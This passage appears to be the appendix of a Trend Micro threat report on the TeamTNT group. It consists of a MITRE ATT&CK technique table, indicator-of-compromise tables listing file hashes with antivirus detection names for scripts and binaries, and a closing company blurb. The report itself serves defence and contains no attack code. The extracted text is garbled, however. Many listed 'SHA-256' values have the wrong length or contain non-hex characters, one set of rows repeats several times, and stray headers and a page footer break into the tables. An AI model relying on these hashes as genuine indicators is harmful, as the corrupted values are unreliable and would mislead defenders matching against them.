<tr>
<td>Active scanning</td>
<td>Compromise accounts</td>
<td>Exploit public-facing application</td>
<td>Command and scripting interpreter</td>
<td>Account manipulation</td>
</tr>
<tr>
<td>Gather victim host information</td>
<td>Compromise infrastructure</td>
<td>Valid accounts</td>
<td>Inter-process communication</td>
<td>Boot or logon autostart execution</td>
</tr>
<tr>
<td>Gather victim network information</td>
<td>Establish accounts</td>
<td>Trusted relationship</td>
<td>Native API</td>
<td>Compromise client software binary</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Scheduled task/job</td>
<td>Implant container image</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Shared modules</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Software deployment tools</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>System services</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Privilege escalation</th>
<th>Defense evasion</th>
<th>Credential access</th>
<th>Discovery</th>
<th>Lateral movement</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploitation for privilege escalation</td>
<td>Deobfuscate/Decode files or information</td>
<td>Steal application access token</td>
<td>Account discovery</td>
<td>Exploitation of remote services</td>
</tr>
<tr>
<td></td>
<td>Impair defenses</td>
<td>Unsecured credentials</td>
<td>Cloud infrastructure discovery</td>
<td>Lateral tool transfer</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Rootkit</td>
<td>File and directory discovery</td>
<td>Use alternate authentication material</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Network service scanning</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Process discovery</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Remote system discovery</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>System service discovery</td>
<td></td>
</tr>
</tbody>
</table>
### Indicators of Compromise

**Scripts**

<table>
<thead>
<tr>
<th>SHA-256</th>
<th>Detection/Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>4a632a65c253c616b1b7e9ca8e30e1b4f741d763d340f72c97652b26c8b26741</td>
<td>Trojan.SH.CVE20207961.SM/16.699.00</td>
</tr>
<tr>
<td>d579b34d0bc04b656f3c318de96180c84f9f56eee6722feb9599a7a353bd5</td>
<td>Trojan.SH.CVE20207961.SM/16.699.00</td>
</tr>
<tr>
<td>0d7912e62bc663c9ba6bfbf21ae809e458b227e3ceec0abac105d20d5dc533a22</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>28ac05c81f3a2d972da21f3a3f1ec107c56733f43b19d6c436dd3a541a2c07e2</td>
<td>Backdoor_LINUX.MALXMR.USNELA821/16.699.00</td>
</tr>
<tr>
<td>584c6efed8bce5f2c52a52099aaf9b72326d7f799fd464bf5582a9ee83165c1</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>61e94f41187a3ce31fd8ac0ae3798aa0e8984ef7f76debe623e41f8cf8d7a12</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>c6810b1ed0a41a40a17a73ed5f5a623ce6557af63a6e6f6b51fd2dd9870403</td>
<td>Trojan.SH.CVE20207961.SM/16.699.00</td>
</tr>
<tr>
<td>225389181bfc9092e30657047e487e31547fda85aec8a023382ddd2ccc938935</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>49b185d1a03124df5664fe90f8fe833d93212434216535b822a044e9d115234</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>f194d5901d6811c72a2cf3a305b73f36ea36d444ea629164138de1e88929394d</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>b1f38b8648351b7c743eed838658e3a89795db40358c2af62d4e36905555a332</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>62f0de028793fe6914d327ee1f9414612b31bd3ee6d1ec88c9aa5e43d440b2431</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>d9c46904d5bb808f20c28e819a31703f555c4df66c4c46695d9e81f25dc66</td>
<td>Trojan.SH.MALXMR.UWEKQ/16.699.00</td>
</tr>
<tr>
<td>9db6c8135b63b1af9d3a417d81e3de8fad54be254f2c4713f766403cf662fb</td>
<td>Backdoor_LINUX.MALXMR.USNELA921/16.699.00</td>
</tr>
<tr>
<td>fece709f33c2ed77a5833dba5b7188d5e00a30f004349383e6939c8aef79bb99</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>778258b85f62608c55433daba534ee1f041b1923607a7d0b8c2a9519628164bda</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>25a446da47f2b70d833c5337fd1ec411e8c90d3815b1d94ed767eb9fd65a9b8f</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>a322dc6af6ed1326b04ec966e66b68dd8ef22374edd286569710afcf65ccc741</td>
<td>Backdoor_LINUX.MALXMR.USNELA821/16.699.00</td>
</tr>
<tr>
<td>251530954ac0204ad00b550a9613c73917f6b80e367ee67393ab8bc5a554f8c</td>
<td>Trojan.SH.CVE20207961.SM/16.699.00</td>
</tr>
<tr>
<td>SHA-256</td>
<td>Detection/Version</td>
</tr>
<tr>
<td>--------------------------------------------------</td>
<td>--------------------------------</td>
</tr>
<tr>
<td>c30e36992120e5e6349a9a559b6ff2cb7c5d6c4b4141c3ad0adeb3c18bd3b6140</td>
<td>Trojan.SH.CVE20207961.SM/16.699.00</td>
</tr>
<tr>
<td>ec92f9a98e2c5449693972a7af777d0c7a5a98af13f09595ad3c46da739c44c80</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>cd4902df6c7ab8b2dc240e749729dada5d51009bfd542dcd3fafa0b9b5e115</td>
<td>Trojan.SH.CVE20207961.SM/16.699.00</td>
</tr>
<tr>
<td>a1e9c0d08703e4a3526b31e4b42f3a69be408623b988f9f6e96228f191236593</td>
<td>TrojanSpy. SH.AWSKEYGRAB.A/16.723.00</td>
</tr>
<tr>
<td>50f10902631e8049a637372913c3d4e8a8d3c1835e650e51498c05c63f749bc9</td>
<td>Backdoor.Linux.MALXMR. USNELA821/16.699.00</td>
</tr>
<tr>
<td>e9a58f006e5335d806da5fc737ff2b25cedad9776d484f62616979a64a636fb44</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>b9631803e448e9f147c7d9895f6af6a2d2b6c5c55426b7366daea95a3b45d2c</td>
<td>Trojan.SH.CVE20207961.SM/16.699.00</td>
</tr>
<tr>
<td>881530fb9634cb5f1c912080f5d13e699b9497c7ea223a4ac29e0d3c81de320353</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>c2dce52e2ed5df559c91071b0a5f6505585ec7a9a5ac1df8398cb5bde76033643</td>
<td>Trojaninux.MALXMR. USNELDM21/16.699.00</td>
</tr>
<tr>
<td>c047ffcc9f29494285e45a065e94f41ea708455bfe3d641d808660a175b9c0c3</td>
<td>Trojan.SH.CVE20207961.SM/16.699.00</td>
</tr>
<tr>
<td>a5f65241d47a1bf712f2951c7b785e3b3ea459d9f4574c7df94e30e12ce7697f</td>
<td>Backdoor.Linux.MALXMR. USNELAB21/16.699.00</td>
</tr>
<tr>
<td>30e35e2252f3495f9c2c41873372d02056c4d2f8dd9e0583658e4b522c3d6851</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>75f21f180173449404df42a55e6067591a18ed5a4519129aca5a41680c376295b54</td>
<td>Trojan.SH.MALXMR.UWEKT/16.699.00</td>
</tr>
<tr>
<td>45919a0ba0173640594d9b1a4f5b1a601ecea59f2d753df3784dcedb04d2e6d</td>
<td>Trojan.SH.HADGLIDER.A/16.699.00</td>
</tr>
<tr>
<td>ed40bce040778e2227c869d6ac559f5a320944e19f777543954f40019e2f2bc35</td>
<td>Trojan.SH.YELLOWDYE.A/16.699.00</td>
</tr>
<tr>
<td>d708b28231e7060dc70733cf1cf9ed72a0a66d6b1567903a222b2dca435e417</td>
<td>Trojan.SH.CVE20207961.SM/16.699.00</td>
</tr>
<tr>
<td>de3748a8084c0b69ecaa92810f4a200f5f6d149dced29f1f7e8b82cd0f3945</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>4e059d7f4e5975722f693eada8ddcbf794d4b0cda6050f5e55f3b0f4f7bb7c82d2b</td>
<td>TROJ_FRS.VSNWE621/16.699.00</td>
</tr>
<tr>
<td>dd3d5d9d9d23ef5c9a783e2df25419bc955300e81f80dc1d6add7f845bfd2</td>
<td>TROJ_FRS.S0A103E621/16.699.00</td>
</tr>
<tr>
<td>849f86a8fd06507ee1ae388789881516239282dd4cb079b8281ff995035874e1</td>
<td>Trojaninux.MALXMR. USNELA921/16.699.00</td>
</tr>
<tr>
<td>7d791ac656b1008d2be9622095e6020d7a7930b6ce1713e5713fc3cccafa862</td>
<td>Trojan.SH.HADGLIDER.TSD/16.699.00</td>
</tr>
<tr>
<td>7457d7ea13e2f0b42c55a1a0ced7ec7b87ae6020a36903ab613a3d1f2a77</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>641c088c8d87871bd7034c7f767cc40b77966e30b142f60d5b1620b3d49135</td>
<td>TROJ_FRS.VSNW0621/16.699.00</td>
</tr>
<tr>
<td>0f91eb6d6052c92b2187fe4729c9816080c00b31dfe91543d7801bb83ea0cdcd8</td>
<td>Trojan.SH.CVE20207961.SM/16.699.00</td>
</tr>
<tr>
<td>1c7c3b7ec8354bd4811795f76be80c42a203127b23f6074316808e8156a78</td>
<td>Trojan.SH.CVE20207961.SM/16.699.00</td>
</tr>
<tr>
<td>2f642efdf56b30c1909c44a65ec559e1643858a8aea95df18926ee208ec682d5ed</td>
<td>Coinminer.Linux.MALXMR. PWLL/16.699.00</td>
</tr>
<tr>
<td>7270416ff49d679f1235f0f135b25afe1754a370b0a4bf99368f1ebbc86cbb1</td>
<td>TROJ_FRS.S0A104E621/16.699.00</td>
</tr>
<tr>
<td>96fe63c25e7551a90051431aeddb962f2d8b7dd2940c0e8e1282273ba81e22</td>
<td>Backdoor.Linux.MALXMR. USNELA821/16.699.00</td>
</tr>
<tr>
<td>0dc0d5e9d127c8027c0a56de0ce237ab073ef86706f180d302bc8f140869c5ea</td>
<td>Trojan.SH.YELLOWDYE.A/16.699.00</td>
</tr>
<tr>
<td>58cd6dca2ae8ac771f8dbdcb02464368524f21700ee944c9619269b588cd8dcdc</td>
<td>Backdoor.Linux.MALXMR. USNELA321/16.699.00</td>
</tr>
</tbody>
</table>
### SHA-256 Detection/Version

<table>
<thead>
<tr>
<th>SHA-256</th>
<th>Detection/Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>cf047215b96ea21f0e43c7b2e59b26d10dc1118ab70c532496778929ce004262</td>
<td>Backdoor.Linux.MALXMR. USNELA821/16.699.00</td>
</tr>
<tr>
<td>3b14c84525f2e56fe3ae7dec09163a49c03f116e8a8d65b021c792ad13ed2701</td>
<td>Trojan.Linux.ZYJ. USNELD21/16.699.00</td>
</tr>
<tr>
<td>3d2481edc5fe122bae2fe316d803e1318376063e8a7a315f8f7cdd7b436dc6c2</td>
<td>TROJ_FRS.VSNW06E21/16.699.00</td>
</tr>
<tr>
<td>1946ddf0ade98a96950c5f6c95d126abb2dddb5224ea95279e1372a772a0f9c</td>
<td>TROJ_FRS.VSNW06E21/16.699.00</td>
</tr>
<tr>
<td>1cf803a8dd2a41cb497916060ce2374f6e45afadeafbe6ff005121fc8e09d9a</td>
<td>TROJ_FRS.0NA103E621/16.703.00</td>
</tr>
<tr>
<td>5ac76e1edfda445548c35364ba0c3dbb0bcb8a0236c3033da2a2e94a7073a7f6e</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>0a8499cbebd06a646348e58be50e4f64c9d2c7c616677de171d999691239526b</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>b60ffe7c7153665d6a232b1cb249924b06c384a27861806eb13d124705bca0a5</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>5bd6d17385b21e65f8c95633ae42f6d6801f824a4508d697e3ea139f685e28cfa</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
</tbody>
</table>

### Binaries

<table>
<thead>
<tr>
<th>SHA-256</th>
<th>Detection/Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>7564cf887493dd37b8a370f3d735e298d4e950fd19a09da1af6886ea6c953c67a</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>a0715dc573604f1160d9df118b7297080d0a61dea4e4d6ff6a812adb3b77e</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>0017641942e91b2191fcf6e5f1c9184b335ac323bbfa6153bbed15da152d8e</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>296449dd40405616a1a8140e14ac52ce9f17b5dbcb90c026af10f833a60e9617</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>e8cd937239d6b4f3c34c34c794732a1917b0d1067f05c3b2150b0ffa35a953a3c3</td>
<td>Possible_PROCHID.SMLBAT1/16.699.00</td>
</tr>
<tr>
<td>3c9257366c7a22a62db436d5deeca1c404d3af91b701c76c4b30b73eecc25395</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>577892612608f2ecfc1a937492a5456251c6db22a37a7250b3f3c3241c667</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>7187b177892f7edca5b5b14317cc91d021a2c43c07f193b3e15d07dca738a2c</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>83730ce8abbbdd9924f6d3808fb10589e4961e38cd96d8a4464d1811788aaf2b7</td>
<td>TROJ_FRS.VSNW06E21/16.699.00</td>
</tr>
<tr>
<td>e9772b3d6c30f2c25d1e012ca04f9adc8e7a4ca2ba90415718ba2e91ab74</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>3aba116c93521c626e1cbcb3be37cd150c5e9b6107fa04f9161f90d892853d10</td>
<td>TROJ_FRS.0NA104E621/16.699.00</td>
</tr>
<tr>
<td>da573bd8ee88b4c87b5279192908e306ffed4c1147af645998751a2e42250</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>82d2bde87036acba611c4cc1e6f1b00f107b6991a22e1e03da0a8bd662ea56ea18f</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>3cb40f1daba1e074389ac9998005051f1d3e8ed70018d2825f88541048725e1</td>
<td>HackTool.Linux.Traitor.A/16.703.00</td>
</tr>
<tr>
<td>900b17ae0081052f63a7d74232048cfbc2716cdecbe06a16464b7d387d4329</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>bd94b5629f718453143bd3f4f1fba9b17e0b0292d8233c467d3bd6e52c5f3f4b</td>
<td>Coinminer.Linux.MALXMR. SMDSL64/16.699.00</td>
</tr>
<tr>
<td>07377cac86874a4cde6e29bc00314c265c7ad71a919d9e1f689b58e0e7077b0b</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>3876b5d812e27361bdfebed6efc54237d9b667ca3b9d80f80798e95c3422e84</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>b494ca3b7eabe2ab9a5197b81e928bbae5b8eac77ddfcd7fe1233fee8f2704772</td>
<td>TROJ_GENERAL.R002C0DDO21/16.699.00</td>
</tr>
<tr>
<td>e9df014abc9397a9b94624d18d1c815371f993298c46a44b3887e1bc1b1e</td>
<td>TROJ_FRS.VSNTE621/16.699.00</td>
</tr>
<tr>
<td>73dec403b98ade794857f6d405c7a9b325df7492b4f97985499a46701553e34a</td>
<td>TROJ_FRS.R002C0DDO21/16.699.00</td>
</tr>
<tr>
<td>SHA-256</td>
<td>Detection/Version</td>
</tr>
<tr>
<td>---------</td>
<td>------------------</td>
</tr>
<tr>
<td>36</td>
<td>Tracking the Activities of TeamTNT: A Closer Look at a Cloud-Focused Malicious Actor Group</td>
</tr>
</tbody>
</table>

<p>| 4b23e9649cf2eb3325238347efa63072952b699f3c9d197423e3392c772e483f | ELF_KAITEN.SM/16.699.00 |
| d5063df60f16a5f531ed46d22dd2ff4dbbb53b0c9075ad642e94adde8e481cbe | Trojan.Linux.BTCWARE. USELVD021/16.699.00 |
| 66e36c2513e60ae75834f2a58505839a65cf1cb7551879932a13df44582c8 | ELF_KAITEN.SM/16.699.00 |
| f44a40b8b15aa17b9fb3f9543b66e4e03656a274d4ba4bcaf1975c7f8c01 | TROJ_FRS.VSNT621/16.699.00 |
| 2c24ff738b999ed33f514ff0a63f95a106fa22cc0b8d4d7402e82990b37362e16 | TROJ_FRS.0NA103E621/16.699.00 |
| f4ff89b799bda48548c58f6be117a547c3b9a1b62f4986c9377e6b37ef83 | ELF_KAITEN.SM/16.699.00 |
| a2ed48328201988b131655576b3872a1bbd355b3ae3f32562cdcecc70a76abb1e | ELF_KAITEN.SM/16.699.00 |
| ba974b31c7e6715b83e9468f72fd5927d560fe80dbca8c466bb8ce5b93601d | TROJ_FRS.0NA103E621/16.699.00 |
| ce5d417117e4f118c031809a199d9bb542dada08733c81c317ec51089137330e0c | TROJ_FRS.0NA103E621/16.699.00 |
| 45aabbda3e9956ff04bae6be6b35cbcaaa072d49dd4b90c35c7be8c0c96a115733 | PUA.Linux.HawkEye.A/16.703.00 |
| 456041c43e7a992e763201217a65a47f12b1ed069e1de735543f5b2a11fa68 | TROJ_FRS.VSNT621/16.699.00 |
| 0cad682a1a695fe9bcb35592f9211e31ac84881f5cdee3c6ec7d241ad7 | Backdoor.Linux.TSUNAMI. USELVD21/16.699.00 |
| 5bb45f372fb4df6a9c6a5460a1845f56e9a53aa14393e25b1c9e989a5ca6c6 | Possible_PROCHID.SMLBAT1/16.699.00 |
| c8d9e57e13b04eb96d7c431681c0be6ff2a8f6d7ead8e22d7a3cb9b4c6bd29a6 | ELF_KAITEN.SM/16.699.00 |
| 885885884cd244250cc885f6c8b755555e6f924c78581505eaae5b5bb4b6951ac5 | ELF_KAITEN.SM/16.699.00 |
| b39c5d686deb2e37254830f47f5b64223213204e2ca08ebd11d3f229943b901a | ELF_KAITEN.SM/16.699.00 |
| c15355bd9508d143d326ed5a041c0f188ac0173d6b390d9139591359f50fc2 | ELF_KAITEN.SM/16.699.00 |
| 3aae42bf41aedaa3b12a2a973988a989a9188b4be4c33c20b4e724505277af83 | HackTool.Linux. BreakOutTheBox.A/16.703.00 |
| 3aae42bf41aedaa3b12a2a973988a989a9188b4be4c33c20b4e724505277af83 | HackTool.Linux. BreakOutTheBox.A/16.703.00 |
| bcdc43d4046c64d15da4e87894306dd14derd0a904a6477ad2b921c49c2f414d | Backdoor.Linux.TSUNAMI. USELVC121/16.699.00 |
| f3088da6e9e90a440b58382bcf4ea286b56c726da9695a2f141e1ee5199f22c | ELF_KAITEN.SM/16.699.00 |
| 84078b10ad532834e4b771231a6868218e2efb93c1e4a8614d6ca5ea3229ed94 | Trojan.Linux.BTCWARE. USELVB21/16.699.00 |
| 134e9ab62a8e8e80aa27e2869bd6e98d0afe635e0e0750e117ff8333c9447c8 | HackTool.Linux.DockEscape.A/16.703.00 |
| c880b92747158f45540f0cf50f79d44483e720adb55e6a40c14dec81a7989 | TROJ_FRS.0NA103E621/16.699.00 |
| 4cb382b2bbd2589c901940a71ad7dbd1b5ff7d66af61a6579819a3b6f9e6 | ELF_KAITEN.SM/16.699.00 |
| 80ef7e9ad4c1f1df0ef9ba628583c3d3c64bb35d0ac57e3159e541b2e2ded3ad | ELF_KAITEN.SM/16.699.00 |
| 0bfff0105eb1519ccff07ed113c4213c38f0f8baf1262b8ae331fafa32c41266e | ELF_KAITEN.SM/16.699.00 |
| d2f9929e40ce18ff81b9a2fa1cb93a56fb5a821ccc28204552d89aaa1c04f | Trojan.Linux.DLOADR.AUSWT/16.703.00 |
| db8118e919d90f5da36e4041d79711bd92583f565dfaffbcb97ad9ab5ce8 | ELF_KAITEN.SM/16.699.00 |
| 132df8646750d29b9f762b29f7377c13b999aad607c0a6bda58adccfd0d6f7 | Backdoor.Linux.ZYX. USELVB721/16.699.00 |
| b913222cb8f75d2198dc3873ae46006ce82ac739a97676c07575774ae279fbb | ELF_KAITEN.SM/16.699.00 |</p>
<table>
<thead>
<tr>
<th>SHA-256</th>
<th>Detection/Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>8136fb15409989929cf54a4136b60cd6cadbb78c6bc2e31c44aab0a5c87e986</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>69a7c1a68f06ca5e61ee52662d10bea4bb37981ca765beab1033b0e187fe1365</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>0af1b8cd042b6e2972c8ef43d98c0a06420f47ec89493d315909629bcf185ddf9d</td>
<td>Possible_PROCHID.SMLBAT1/16.699.00</td>
</tr>
<tr>
<td>38490d3f8a4aba8bc1e979210362cb03f4615b1d7930e86e44e309ec3d14f</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>69a7c1a68f06ca5e61ee52662d10bea4bb37981ca765beab1033b0e187fe1365</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>0af1b8cd042b6e2972c8ef43d98c0a06420f47ec89493d315909629bcf185ddf9d</td>
<td>Possible_PROCHID.SMLBAT1/16.699.00</td>
</tr>
<tr>
<td>38490d3f8a4aba8bc1e979210362cb03f4615b1d7930e86e44e309ec3d14f</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>69a7c1a68f06ca5e61ee52662d10bea4bb37981ca765beab1033b0e187fe1365</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>0af1b8cd042b6e2972c8ef43d98c0a06420f47ec89493d315909629bcf185ddf9d</td>
<td>Possible_PROCHID.SMLBAT1/16.699.00</td>
</tr>
<tr>
<td>38490d3f8a4aba8bc1e979210362cb03f4615b1d7930e86e44e309ec3d14f</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>69a7c1a68f06ca5e61ee52662d10bea4bb37981ca765beab1033b0e187fe1365</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>0af1b8cd042b6e2972c8ef43d98c0a06420f47ec89493d315909629bcf185ddf9d</td>
<td>Possible_PROCHID.SMLBAT1/16.699.00</td>
</tr>
<tr>
<td>38490d3f8a4aba8bc1e979210362cb03f4615b1d7930e86e44e309ec3d14f</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>69a7c1a68f06ca5e61ee52662d10bea4bb37981ca765beab1033b0e187fe1365</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>0af1b8cd042b6e2972c8ef43d98c0a06420f47ec89493d315909629bcf185ddf9d</td>
<td>Possible_PROCHID.SMLBAT1/16.699.00</td>
</tr>
<tr>
<td>38490d3f8a4aba8bc1e979210362cb03f4615b1d7930e86e44e309ec3d14f</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>69a7c1a68f06ca5e61ee52662d10bea4bb37981ca765beab1033b0e187fe1365</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>0af1b8cd042b6e2972c8ef43d98c0a06420f47ec89493d315909629bcf185ddf9d</td>
<td>Possible_PROCHID.SMLBAT1/16.699.00</td>
</tr>
<tr>
<td>38490d3f8a4aba8bc1e979210362cb03f4615b1d7930e86e44e309ec3d14f</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>69a7c1a68f06ca5e61ee52662d10bea4bb37981ca765beab1033b0e187fe1365</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
<tr>
<td>0af1b8cd042b6e2972c8ef43d98c0a06420f47ec89493d315909629bcf185ddf9d</td>
<td>Possible_PROCHID.SMLBAT1/16.699.00</td>
</tr>
<tr>
<td>38490d3f8a4aba8bc1e979210362cb03f4615b1d7930e86e44e309ec3d14f</td>
<td>ELF_KAITEN.SM/16.699.00</td>
</tr>
</tbody>
</table>
References


TRENDS MICRO™ RESEARCH

Trend Micro, a global leader in cybersecurity, helps to make the world safe for exchanging digital information.

Trend Micro Research is powered by experts who are passionate about discovering new threats, sharing key insights, and supporting efforts to stop cybercriminals. Our global team helps identify millions of threats daily, leads the industry in vulnerability disclosures, and publishes innovative research on new threat techniques. We continually work to anticipate new threats and deliver thought-provoking research.

www.trendmicro.com